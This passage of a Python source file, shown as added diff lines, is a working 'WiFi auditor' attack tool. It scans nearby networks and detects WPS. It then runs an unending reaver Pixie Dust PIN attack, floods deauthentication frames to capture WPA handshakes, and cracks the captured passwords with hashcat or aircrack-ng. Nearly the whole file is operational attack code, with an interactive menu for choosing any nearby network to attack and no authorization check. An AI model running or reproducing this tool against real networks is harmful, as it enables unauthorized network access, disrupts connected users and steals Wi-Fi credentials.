logging.getLogger(__name__) + + +class Colors: + """Color codes""" + RED = '\033[91m' + GREEN = '\033[92m' + YELLOW = '\033[93m' + BLUE = '\033[94m' + MAGENTA = '\033[95m' + CYAN = '\033[96m' + WHITE = '\033[97m' + END = '\033[0m' + BOLD = '\033[1m' + + +def print_success(msg): + print(f"{Colors.GREEN}[+] {msg}{Colors.END}") + + +def print_error(msg): + print(f"{Colors.RED}[-] {msg}{Colors.END}") + + +def print_info(msg): + print(f"{Colors.BLUE}[*] {msg}{Colors.END}") + + +def print_warning(msg): + print(f"{Colors.YELLOW}[!] {msg}{Colors.END}") + + +def print_debug(msg): + print(f"{Colors.MAGENTA}[DEBUG] {msg}{Colors.END}") + + +# ============================================================================ +# ADVANCED WPS DETECTION USING WIFITE2 TOOLS +# ============================================================================ + +class ImprovedWPSDetector: + """ + Advanced WPS Detection using native wifite2 tools + Methods: wash, reaver probing, pixiewps + """ + + def __init__(self, interface: str): + self.interface = interface + self.wash = Wash(self.interface) if self._tool_available('wash') else None + self.reaver = Reaver(self.interface) if self._tool_available('reaver') else None + + def _tool_available(self, tool_name: str) -> bool: + """Check if tool is available""" + try: + result = subprocess.run(['which', tool_name], capture_output=True, timeout=2) + return result.returncode == 0 + except: + return False + + def detect_wps_with_wash(self, bssid: str, channel: int) -> Tuple[bool, str]: + """ + Most accurate: Use wash to detect WPS + Returns: (wps_enabled, version) + """ + if not self.wash: + return (False, "") + + try: + print_info(f"[Wash] Checking WPS on {bssid}...") + + cmd = [ + 'wash', + '-i', self.interface, + '-c', str(channel), + '-n', + '-s', + '--ignore-iface-error' + ] + + result = subprocess.run( + cmd, + timeout=20, + capture_output=True, + text=True + ) + + output = result.stdout + result.stderr + + for line in output.split('\n'): + if bssid.upper() in line.upper(): + print_debug(f"Wash output: {line}") + + # Check for WPS version + if 'WPS2.0' in line or '2.0' in line: + print_success(f"[Wash] WPS 2.0 detected!") + return (True, "2.0") + elif 'WPS1.0' in line or '1.0' in line: + print_success(f"[Wash] WPS 1.0 detected!") + return (True, "1.0") + elif 'WPS' in line: + print_success(f"[Wash] WPS detected!") + return (True, "Unknown") + + print_debug(f"[Wash] No WPS found in output") + + except subprocess.TimeoutExpired: + print_debug("[Wash] Timeout") + except Exception as e: + print_debug(f"[Wash] Error: {e}") + + return (False, "") + + def detect_wps_with_reaver_probe(self, bssid: str, channel: int) -> Tuple[bool, str]: + """ + Secondary method: Use reaver quick probe + Returns: (wps_enabled, version) + """ + if not self.reaver: + return (False, "") + + try: + print_info(f"[Reaver] Probing WPS on {bssid}...") + + cmd = [ + 'reaver', + '-i', self.interface, + '-b', bssid, + '-c', str(channel), + '-t', '5', + '--no-associate', + '-vv' + ] + + result = subprocess.run( + cmd, + timeout=10, + capture_output=True, + text=True + ) + + output = result.stdout + result.stderr + print_debug(f"[Reaver] Output: {output[:200]}") + + # WPS indicators + wps_indicators = [ + 'WPS enabled', + 'WPS supported', + 'Rx M1', + 'WPS version', + 'locked' + ] + + for indicator in wps_indicators: + if indicator.lower() in output.lower(): + print_success(f"[Reaver] WPS detected (indicator: {indicator})") + if '2.0' in output: + return (True, "2.0") + elif '1.0' in output: + return (True, "1.0") + return (True, "Unknown") + + except subprocess.TimeoutExpired: + print_debug("[Reaver] Probe timeout - WPS might be enabled") + # Timeout during probe might mean WPS is enabled + return (True, "Possible") + except Exception as e: + print_debug(f"[Reaver] Error: {e}") + + return (False, "") + + def detect_wps_comprehensive(self, bssid: str, channel: int, ssid: str = "") -> Tuple[bool, str]: + """ + Comprehensive WPS detection using multiple methods + Returns: (wps_enabled, version) + """ + print_info(f"Comprehensive WPS detection for {ssid} ({bssid})...") + + # Method 1: Wash (most reliable) + wps_enabled, version = self.detect_wps_with_wash(bssid, channel) + if wps_enabled: + return (True, version) + + time.sleep(1) + + # Method 2: Reaver probe + wps_enabled, version = self.detect_wps_with_reaver_probe(bssid, channel) + if wps_enabled: + return (True, version) + + return (False, "") + + +# ============================================================================ +# NETWORK DATA MODEL +# ============================================================================ + +@dataclass +class NetworkInfo: + """Complete network information""" + bssid: str + ssid: str + channel: int + signal_strength: int = 0 + security: str = "Unknown" + cipher: str = "" + auth: str = "" + wps_enabled: bool = False + wps_version: str = "" + wps_locked: bool = False + clients: int = 0 + band: str = "2.4GHz" + first_seen: str = "" + last_seen: str = "" + scan_time: float = 0.0 + + def __hash__(self): + return hash(self.bssid) + + def __eq__(self, other): + if isinstance(other, NetworkInfo): + return self.bssid == other.bssid + return False + + +# ============================================================================ +# INTEGRATED NETWORK SCANNER +# ============================================================================ + +class IntegratedWiFiScanner: + """ + Complete WiFi scanner using wifite2 framework + Integrates: airodump-ng, wash, reaver, tshark + """ + + def __init__(self, interface: str = 'wlan0', timeout: int = 40): + self.interface = interface + self.timeout = timeout + self.networks: Dict[str, NetworkInfo] = {} + self.wps_detector = ImprovedWPSDetector(interface) + self.airodump = None + self.scan_thread = None + + def enable_monitor_mode(self) -> bool: + """Enable monitor mode using airmon-ng""" + print_info("Enabling monitor mode...") + + try: + # Kill interfering processes + subprocess.run(['airmon-ng', 'check', 'kill'], + capture_output=True, timeout=10) + + time.sleep(1) + + # Enable monitor mode + result = subprocess.run( + ['airmon-ng', 'start', self.interface], + capture_output=True, + text=True, + timeout=10 + ) + + if result.returncode == 0: + # Extract monitor interface name + for line in result.stdout.split('\n'): + if 'enabled on' in line.lower(): + parts = line.split() + self.interface = parts[-1] + print_success(f"Monitor mode: {self.interface}") + time.sleep(1) + return True + + # Try common names + for mon_if in ['wlan0mon', 'wlan1mon', 'wlan2mon', 'wlan3mon']: + try: + result = subprocess.run(['ip', 'link', 'show', mon_if], + capture_output=True, timeout=2) + if result.returncode == 0: + self.interface = mon_if + print_success(f"Using monitor interface: {self.interface}") + time.sleep(1) + return True + except: + continue + + print_warning("Monitor mode may not be enabled properly") + return True + + except Exception as e: + print_error(f"Monitor mode error: {e}") + return False + + def scan_networks(self) -> Dict[str, NetworkInfo]: + """ + Scan networks and detect WPS + """ + print_info(f"Starting network scan (timeout: {self.timeout}s)...") + print_info("Discovering networks...\n") + + self.networks = {} + csv_file = f"/tmp/wifi_scan_{int(time.time())}" + + try: + # Start airodump scan + cmd = [ + 'airodump-ng', + '-w', csv_file, + '--output-format', 'csv', + '--write-interval', '1', + self.interface + ] + + scan_process = subprocess.Popen( + cmd, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL + ) + + start_time = time.time() + last_parse = start_time + + # Monitor scan + while time.time() - start_time < self.timeout: + try: + # Parse every 2 seconds + if time.time() - last_parse > 2: + self._parse_airodump_csv(csv_file) + last_parse = time.time() + + elapsed = int(time.time() - start_time) + networks_found = len(self.networks) + print(f"\r[*] Scanning... {elapsed}s | Found {networks_found} networks", + end='', flush=True) + + time.sleep(0.5) + + except KeyboardInterrupt: + print("\n[!] Scan interrupted") + break + except Exception as e: + logger.debug(f"Scan error: {e}") + + print("\n") + + # Now check WPS for discovered networks + print_info("Checking WPS support for all networks (this may take a moment)...\n") + self._check_all_wps() + + except Exception as e: + print_error(f"Scan error: {e}") + + finally: + # Stop airodump + try: + scan_process.terminate() + scan_process.wait(timeout=5) + except: + try: + scan_process.kill() + except: + pass + + # Cleanup + try: + os.remove(f"{csv_file}-01.csv") + except: + pass + + return self.networks + + def _parse_airodump_csv(self, csv_file: str): + """Parse airodump CSV output""" + try: + with open(f"{csv_file}-01.csv", 'r', encoding='utf-8', errors='ignore') as f: + lines = f.readlines() + + for line in lines: + line = line.strip() + if not line or line.startswith('BSSID'): + continue + + try: + fields = [f.strip() for f in line.split(',')] + + # Airodump CSV format + if len(fields) < 14: + continue + + bssid = fields[0] + if not re.match(r'([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}', bssid): + continue + + if bssid in self.networks: + continue # Already added + + signal = int(fields[8]) if fields[8].strip() else -100 + channel = int(fields[3]) if fields[3].strip().isdigit() else 0 + ssid = fields[13] if len(fields) > 13 else "" + security = fields[5] if len(fields) > 5 else "Unknown" + + if channel == 0 or not ssid or ssid == '(not associated)': + continue + + band = "5GHz" if channel > 14 else "2.4GHz" + + network = NetworkInfo( + bssid=bssid, + ssid=ssid, + channel=channel, + signal_strength=signal, + security=security, + band=band, + first_seen=datetime.now().strftime("%H:%M:%S") + ) + + self.networks[bssid] = network + + except (ValueError, IndexError): + continue + + except FileNotFoundError: + pass + except Exception as e: + logger.debug(f"CSV parse error: {e}") + + def _check_all_wps(self): + """Check WPS for all networks""" + total = len(self.networks) + wps_count = 0 + + for idx, (bssid, network) in enumerate(self.networks.items(), 1): + print(f"\r[*] WPS Check: {idx}/{total} networks | {wps_count} WPS enabled", + end='', flush=True) + + try: + wps_enabled, version = self.wps_detector.detect_wps_comprehensive( + network.bssid, + network.channel, + network.ssid + ) + + network.wps_enabled = wps_enabled + network.wps_version = version + + if wps_enabled: + wps_count += 1 + + time.sleep(0.3) # Small delay between checks + + except Exception as e: + print_debug(f"WPS check error for {bssid}: {e}") + network.wps_enabled = False + + print("\n") + + +# ============================================================================ +# INTERACTIVE MENU +# ============================================================================ + +class InteractiveMenu: + """Interactive network selection and attack menu""" + + def __init__(self, networks: Dict[str, NetworkInfo]): + self.networks = networks + self.sorted_networks = [] + + def display_networks(self): + """Display networks in table""" + if not self.networks: + print_error("No networks found!") + return + + self.sorted_networks = sorted( + self.networks.values(), + key=lambda x: x.signal_strength, + reverse=True + ) + + print("\n" + "=" * 180) + print(f"{Colors.BOLD}{Colors.CYAN}AVAILABLE WIRELESS NETWORKS{Colors.END}") + print("=" * 180) + + # Header + print(f"{Colors.BOLD}{'#':<3} {'BSSID':<18} {'SSID':<32} {'CH':<4} " + f"{'Signal':<12} {'Security':<15} {'WPS':<15} {'Band':<8} {'Attack Method':<25}{Colors.END}") + print("-" * 180) + + # Networks + for idx, net in enumerate(self.sorted_networks, 1): + # Security indicator + if 'WEP' in net.security: + sec_text = f"{Colors.GREEN}[WEP]{Colors.END}" + elif 'WPA3' in net.security: + sec_text = f"{Colors.RED}[WPA3]{Colors.END}" + elif 'WPA2' in net.security or 'WPA' in net.security: + sec_text = f"{Colors.YELLOW}[WPA2]{Colors.END}" + else: + sec_text = "[OPEN]" + + # WPS indicator + if net.wps_enabled: + wps_text = f"{Colors.GREEN}✓ v{net.wps_version}{Colors.END}" + attack_text = f"{Colors.GREEN}WPS PIN Attack{Colors.END}" + else: + wps_text = f"{Colors.RED}✗ No WPS{Colors.END}" + attack_text = f"{Colors.CYAN}Handshake Capture{Colors.END}" + + # Signal strength + sig_bars = self._signal_bars(net.signal_strength) + + print(f"{idx:<3} {net.bssid:<18} {net.ssid[:32]:<32} {net.channel:<4} " + f"{sig_bars:<12} {sec_text:<15} {wps_text:<15} {net.band:<8} {attack_text:<25}") + + print("=" * 180 + "\n") + + def _signal_bars(self, signal: int) -> str: + """Signal strength visualization""" + if signal >= -50: + return f"{signal}dBm ████████ Excellent" + elif signal >= -60: + return f"{signal}dBm ██████░░ Very Good" + elif signal >= -70: + return f"{signal}dBm ████░░░░ Good" + elif signal >= -80: + return f"{signal}dBm ██░░░░░░ Fair" + else: + return f"{signal}dBm ▁░░░░░░░ Weak" + + def select_network(self) -> Optional[NetworkInfo]: + """User selects network""" + if not self.sorted_networks: + return None + + while True: + try: + choice = input(f"\n{Colors.CYAN}[?] Select network (1-{len(self.sorted_networks)}) or 'q' to quit: " + f"{Colors.END}").strip() + + if choice.lower() == 'q': + return None + + idx = int(choice) - 1 + if 0 <= idx < len(self.sorted_networks): + return self.sorted_networks[idx] + + print_warning("Invalid selection!") + + except ValueError: + print_warning("Enter valid number!") + except KeyboardInterrupt: + return None + + @staticmethod + def show_network_details(net: NetworkInfo): + """Show detailed network info""" + print("\n" + "=" * 100) + print(f"{Colors.BOLD}{Colors.CYAN}NETWORK DETAILS{Colors.END}") + print("=" * 100) + + print(f"{Colors.BOLD}Network Name (SSID):{Colors.END} {net.ssid}") + print(f"{Colors.BOLD}MAC Address (BSSID):{Colors.END} {net.bssid}") + print(f"{Colors.BOLD}Channel:{Colors.END} {net.channel}") + print(f"{Colors.BOLD}Frequency Band:{Colors.END} {net.band}") + print(f"{Colors.BOLD}Signal Strength:{Colors.END} {net.signal_strength}dBm") + print(f"{Colors.BOLD}Security Type:{Colors.END} {net.security}") + + # WPS Status + print(f"\n{Colors.BOLD}WPS (WiFi Protected Setup):{Colors.END}") + if net.wps_enabled: + print(f" {Colors.GREEN}✓ ENABLED (Version {net.wps_version}){Colors.END}") + print(f" {Colors.GREEN}✓ PIN Attack: POSSIBLE{Colors.END}") + print(f" {Colors.GREEN}✓ Attack Type: Pixie Dust + Brute Force{Colors.END}") + if net.wps_locked: + print(f" {Colors.YELLOW}⚠ WPS Rate Limiting: ACTIVE{Colors.END}") + else: + print(f" {Colors.RED}✗ NOT ENABLED or NOT DETECTED{Colors.END}") + print(f" {Colors.CYAN}• Will use WPA Handshake Capture{Colors.END}") + + print("=" * 100 + "\n") + + @staticmethod + def show_attack_menu(net: NetworkInfo) -> str: + """Show attack options""" + print(f"{Colors.BOLD}{Colors.CYAN}ATTACK OPTIONS{Colors.END}") + print("-" * 100) + + options = [] + + if net.wps_enabled: + print(f"{Colors.GREEN}[1] WPS PIN Attack (Recommended){Colors.END}") + print(f" • Method: Pixie Dust + PIN Brute Force") + print(f" • Timeout: NONE (runs until success)") + print(f" • Speed: Very Fast (usually 5-30 minutes)") + print(f" • Success Rate: High for vulnerable routers\n") + options.append('1') + + print(f"{Colors.CYAN}[2] WPA Handshake Capture + Crack{Colors.END}") + print(f" • Method: Deauth + 4-way handshake capture") + print(f" • Timeout: 2 minutes capture") + print(f" • Requires: Valid wordlist/dictionary") + print(f" • Success Rate: Depends on password strength\n") + options.append('2') + + if net.wps_enabled: + print(f"{Colors.MAGENTA}[3] Both Methods (Sequential){Colors.END}") + print(f" • First: WPS PIN attack") + print(f" • Fallback: Handshake capture if WPS fails\n") + options.append('3') + + print(f"{Colors.RED}[4] Back to Network Selection{Colors.END}\n") + options.append('4') + + print("-" * 100) + + while True: + choice = input(f"{Colors.CYAN}[?] Select attack method (1-4): {Colors.END}").strip() + if choice in options: + return choice + print_warning("Invalid option!") + + +# ============================================================================ +# WPS PIN ATTACK - NO TIMEOUT +# ============================================================================ + +@dataclass +class WPSAttackConfig: + bssid: str + ssid: str + channel: int + interface: str = 'wlan0' + + +class NoTimeoutWPSAttack: + """WPS PIN attack with NO timeout - runs indefinitely""" + + def __init__(self, config: WPSAttackConfig): + self.config = config + self.found_pin = None + self.found_psk = None + self.attempt_count = 0 + self.start_time = time.time() + + def attack(self) -> Tuple[Optional[str], Optional[str]]: + """Execute WPS attack indefinitely""" + print("\n" + "=" * 100) + print_info("WPS PIN ATTACK - NO TIMEOUT MODE") + print("=" * 100) + print_info(f"Target: {self.config.ssid} ({self.config.bssid})") + print_info("IMPORTANT: This will run indefinitely until:") + print_info(" 1. PIN is successfully cracked") + print_info(" 2. You press Ctrl+C to stop\n") + + attempt = 1 + + try: + while True: + print_info(f"WPS Attack Attempt #{attempt}") + print_info(f"Total runtime: {int(time.time() - self.start_time)}s") + + # Use reaver for WPS attack + cmd = [ + 'reaver', + '-i', self.config.interface, + '-b', self.config.bssid, + '-c', str(self.config.channel), + '-K', '1', # Pixie Dust + '-N', + '-t', '120', # 2 minutes per attempt + '-vv', + '--no-associate', + '-f' + ] + + try: + result = subprocess.run( + cmd, + timeout=150, + capture_output=True, + text=True + ) + + output = result.stdout + result.stderr + self.attempt_count += 1 + + # Parse for PIN + pin_found = self._extract_pin(output) + if pin_found: + print_success(f"PIN FOUND: {pin_found}") + return (pin_found, self._extract_psk(output)) + + # Parse for PSK + psk_found = self._extract_psk(output) + if psk_found: + print_success(f"PSK FOUND: {psk_found}") + return (None, psk_found) + + # Show progress + elapsed = int(time.time() - self.start_time) + print_info(f"Attempt {attempt} completed | Total: {elapsed}s | Attempts: {self.attempt_count}\n") + + except subprocess.TimeoutExpired: + self.attempt_count += 1 + elapsed = int(time.time() - self.start_time) + print_warning(f"Attempt {attempt} timeout | Total: {elapsed}s | Attempts: {self.attempt_count}\n") + + attempt += 1 + time.sleep(2) + + except KeyboardInterrupt: + elapsed = int(time.time() - self.start_time) + print_warning(f"\nAttack stopped by user!") + print_info(f"Total runtime: {elapsed}s") + print_info(f"Total attempts: {self.attempt_count}") + return (None, None) + + except Exception as e: + print_error(f"Attack error: {e}") + return (None, None) + + def _extract_pin(self, output: str) -> Optional[str]: + """Extract PIN from reaver output""" + for line in output.split('\n'): + if 'WPS PIN' in line or '[+] WPS PIN' in line: + # Try to extract 8-digit PIN + match = re.search(r'\b(\d{8})\b', line) + if match: + pin = match.group(1) + # Validate checksum + if self._validate_pin(pin): + return pin + + return None + + def _extract_psk(self, output: str) -> Optional[str]: + """Extract PSK/password from output""" + for line in output.split('\n'): + if '[+] WPA PSK' in line or 'PSK:' in line or 'Passphrase' in line: + if "'" in line: + try: + return line.split("'")[1] + except: + pass + else: + parts = line.split(':') + if len(parts) > 1: + return parts[-1].strip() + + return None + + def _validate_pin(self, pin: str) -> bool: + """Validate WPS PIN checksum""" + if len(pin) != 8 or not pin.isdigit(): + return False + accum = sum(int(pin[i]) * (i % 2 + 1) for i in range(7)) + return int(pin[7]) == (10 - (accum % 10)) % 10 + + +# ============================================================================ +# HANDSHAKE CAPTURE +# ============================================================================ + +class OptimizedHandshakeCapture: + """Fast handshake capture with optimized deauth""" + + def __init__(self, bssid: str, ssid: str, channel: int, interface: str): + self.bssid = bssid + self.ssid = ssid + self.channel = channel + self.interface = interface + self.output_file = f"/tmp/{ssid.replace(' ', '_')}_hs" + self.capture_process = None + self.start_time = time.time() + + def capture(self, timeout: int = 120) -> bool: + """Capture handshake""" + print("\n" + "=" * 100) + print_info("WPA HANDSHAKE CAPTURE") + print("=" * 100) + print_info(f"Target: {self.ssid} ({self.bssid})") + print_info(f"Timeout: {timeout}s\n") + + try: + # Start airodump capture + cmd = [ + 'airodump-ng', + '-c', str(self.channel), + '-b', self.bssid, + '-w', self.output_file, + '--output-format', 'pcap', + '--write-interval', '1', + self.interface + ] + + self.capture_process = subprocess.Popen( + cmd, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL + ) + + print_info("Airodump capture started...") + time.sleep(2) + + start_time = time.time() + last_deauth = start_time + + while time.time() - start_time < timeout: + # Send deauth every 5 seconds + if time.time() - last_deauth > 5: + print_info("Sending deauth frames...") + self._send_deauth() + last_deauth = time.time() + + # Check for handshake + if self._verify_handshake(): + elapsed = int(time.time() - start_time) + print_success(f"Handshake captured in {elapsed}s!") + return True + + elapsed = int(time.time() - start_time) + remaining = timeout - elapsed + print(f"\r[*] Capturing... {elapsed}s / {remaining}s remaining", end='', flush=True) + + time.sleep(1) + + print("\n") + + # Final verification + if self._verify_handshake(): + print_success("Handshake captured!") + return True + + print_warning("No handshake captured") + return False + + except KeyboardInterrupt: + print_warning("\nCapture interrupted") + if self._verify_handshake(): + return True + return False + + finally: + self._stop_capture() + + def _send_deauth(self): + """Send deauth frames""" + try: + for _ in range(15): + cmd = [ + 'aireplay-ng', + '-0', '1', + '-a', self.bssid, + self.interface + ] + subprocess.run(cmd, timeout=5, capture_output=True) + time.sleep(0.2) + except Exception as e: + logger.debug(f"Deauth error: {e}") + + def _verify_handshake(self) -> bool: + """Verify handshake""" + try: + cmd = [ + 'aircrack-ng', + '-J', self.output_file, + f"{self.output_file}*" + ] + + result = subprocess.run(cmd, timeout=10, capture_output=True, text=True) + + if 'WPA' in result.stdout or 'PMKID' in result.stdout: + return True + except Exception as e: + logger.debug(f"Verify error: {e}") + + return False + + def _stop_capture(self): + """Stop capture""" + if self.capture_process: + self.capture_process.terminate() + try: + self.capture_process.wait(timeout=3) + except subprocess.TimeoutExpired: + self.capture_process.kill() + + +# ============================================================================ +# PASSWORD CRACKING +# ============================================================================ + +class FastPasswordCrack: + """Fast password cracking using GPU/CPU""" + + def __init__(self, handshake_file: str, bssid: str, ssid: str): + self.handshake_file = handshake_file + self.bssid = bssid + self.ssid = ssid + self.start_time = time.time() + + def crack(self, wordlist: str, use_gpu: bool = True) -> Optional[str]: + """Crack password""" + print("\n" + "=" * 100) + print_info("PASSWORD CRACKING") + print("=" * 100) + print_info(f"Handshake: {self.handshake_file}") + print_info(f"Wordlist: {wordlist}\n") + + if not os.path.exists(wordlist): + print_error(f"Wordlist not found: {wordlist}") + return None + + # Try GPU first + if use_gpu: + password = self._crack_hashcat(wordlist) + if password: + return password + + # Fallback to aircrack + password = self._crack_aircrack(wordlist) + if password: + return password + + print_error("Password not found in wordlist") + return None + + def _crack_hashcat(self, wordlist: str) -> Optional[str]: + """GPU cracking with hashcat""" + try: + print_info("Attempting GPU acceleration (hashcat)...") + + # Convert to hccapx + convert_cmd = [ + 'cap2hccapx', + self.handshake_file, + f"{self.handshake_file}.hccapx" + ] + + subprocess.run(convert_cmd, timeout=30, capture_output=True) + + # Crack + cmd = [ + 'hashcat', + '-m', '2500', + '-a', '0', + '-w', '4', + f"{self.handshake_file}.hccapx", + wordlist, + '-O' + ] + + result = subprocess.run(cmd, timeout=600, capture_output=True, text=True) + + for line in result.stdout.split('\n'): + if ':' in line: + password = line.split(':')[-1].strip() + if password: + elapsed = int(time.time() - self.start_time) + print_success(f"Password found: {password} (in {elapsed}s)") + return password + + except Exception as e: + print_debug(f"Hashcat error: {e}") + + return None + + def _crack_aircrack(self, wordlist: str) -> Optional[str]: + """CPU cracking with aircrack-ng""" + try: + print_info("Attempting CPU crack (aircrack-ng)...") + + cmd = [ + 'aircrack-ng', + '-a', '2', + '-b', self.bssid, + '-w', wordlist, + self.handshake_file, + '-q' + ] + + result = subprocess.run(cmd, timeout=600, capture_output=True, text=True) + + output = result.stdout + result.stderr + for line in output.split('\n'): + if 'KEY FOUND' in line or 'Passphrase' in line: + if 'Passphrase:' in line: + password = line.split('Passphrase:')[1].strip() + if password: + elapsed = int(time.time() - self.start_time) + print_success(f"Password found: {password} (in {elapsed}s)") + return password + + except subprocess.TimeoutExpired: + print_warning("Crack timeout (password not in wordlist)") + except Exception as e: + print_debug(f"Aircrack error: {e}") + + return None + + +# ============================================================================ +# MAIN APPLICATION +# ============================================================================ + +class CompleteWiFiAuditor: + """Main application integrating all components""" + + def __init__(self, interface: str = None): + self.interface = interface or self._auto_detect_interface() + self.scanner = None + self.selected_network = None + + def _auto_detect_interface(self) -> str: + """Auto-detect WiFi interface""" + try: + result = subprocess.run(['iwconfig'], capture_output=True, text=True) + for line in result.stdout.split('\n'): + if 'wlan' in line or 'mon' in line: + return line.split()[0] + except: + pass + return 'wlan0' + + def print_banner(self): + """Print banner""" + print(f"""{Colors.CYAN}{Colors.BOLD} +╔══════════════════════════════════════════════════════════════════════════════════════╗ +║ COMPLETE ADVANCED WIFI AUDITOR - INTEGRATED WITH WIFITE2 ║ +║ • Network Scanner with Accurate WPS Detection ║ +║ • WPS PIN Attack (Pixie Dust + Brute Force) - NO TIMEOUT ║ +║ • Fast WPA Handshake Capture & Crack ║ +║ • GPU-Accelerated Password Cracking ║ +║ • Integrated with: attack/, tools/, crack/, capture/, util/ modules ║ +╚══════════════════════════════════════════════════════════════════════════════════════╝ +{Colors.END}""") + print_info(f"WiFi Interface: {self.interface}") + print_info(f"Detection Methods: wash, reaver, pixiewps") + print_info(f"Cracking Tools: hashcat, aircrack-ng") + print("") + + def run(self): + """Main execution""" + self.print_banner() + + try: + # Check and enable monitor mode + self.scanner = IntegratedWiFiScanner(self.interface, timeout=40) + self.scanner.enable_monitor_mode() + + while True: + # Scan + networks = self.scanner.scan_networks() + + if not networks: + print_error("No networks found!") + return + + # Display and select + menu = InteractiveMenu(networks) + menu.display_networks() + + selected = menu.select_network() + if not selected: + break + + # Attack selected network + self._attack_network(selected, menu) + + if input(f"\n{Colors.CYAN}[?] Attack another network? (y/n): {Colors.END}").strip().lower() != 'y': + break + + except KeyboardInterrupt: + print_warning("\nExiting...") + except Exception as e: + print_error(f"Error: {e}") + import traceback + traceback.print_exc() + + def _attack_network(self, network: NetworkInfo, menu: InteractiveMenu): + """Attack selected network""" + menu.show_network_details(network) + + choice = menu.show_attack_menu(network) + + try: + if choice == '1' and network.wps_enabled: + self._wps_attack(network) + elif choice == '2': + self._handshake_attack(network) + elif choice == '3': + if network.wps_enabled: + if not self._wps_attack(network): + self._handshake_attack(network) + else: + self._handshake_attack(network) + + except KeyboardInterrupt: + print_warning("\nAttack interrupted!") + except Exception as e: + print_error(f"Attack error: {e}") + + def _wps_attack(self, network: NetworkInfo) -> bool: + """Execute WPS attack""" + config = WPSAttackConfig( + bssid=network.bssid, + ssid=network.ssid, + channel=network.channel, + interface=self.interface + ) + + attack = NoTimeoutWPSAttack(config) + pin, psk = attack.attack() + + if pin or psk: + if pin: + print_success(f"WPS PIN: {pin}") + if psk: + print_success(f"Password: {psk}") + return True + + return False + + def _handshake_attack(self, network: NetworkInfo): + """Execute handshake capture + crack""" + capture = OptimizedHandshakeCapture( + network.bssid, + network.ssid, + network.channel, + self.interface + ) + + if capture.capture(timeout=120): + if input(f"\n{Colors.CYAN}[?] Crack password? (y/n): {Colors.END}").strip().lower() == 'y': + wordlist = input(f"{Colors.CYAN}[?] Wordlist path: {Colors.END}").strip() + + if wordlist and os.path.exists(wordlist): + cracker = FastPasswordCrack( + capture.output_file + ".pcap", + network.bssid, + network.ssid + ) + password = cracker.crack(wordlist) + if password: + print_success(f"Password: {password}") + + +# ============================================================================ +# ENTRY POINT +# ============================================================================ + +def main(): + import argparse + + parser = argparse.ArgumentParser( + description='Complete Advanced WiFi Auditor - Integrated with Wifite2', + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=''' +FEATURES: + ✓ Scan all WiFi networks with WPS detection + ✓ Accurate WPS PIN attack possibility detection + ✓ Interactive network selection menu + ✓ WPS PIN attack (Pixie Dust) - NO TIMEOUT + ✓ Fast WPA handshake capture + ✓ GPU & CPU password cracking + ✓ Full integration with wifite2 modules + +REQUIREMENTS: + - aircrack-ng, reaver, wash, tshark + - hashcat (for GPU cracking) + - Python 3.7+ + +USAGE: + python3 wifite_advanced.py # Auto-detect interface + python3 wifite_advanced.py -i wlan0mon # Specify interface + python3 wifite_advanced.py -v # Verbose output + ''' + ) + + parser.add_argument('-i', '--interface', help='WiFi interface') + parser.add_argument('-v', '--verbose', action='store_true') + + args = parser.parse_args() + + if args.verbose: + logging.getLogger().setLevel(logging.DEBUG) + + auditor = CompleteWiFiAuditor(args.interface) + auditor.run() + + +if __name__ == '__main__': + main()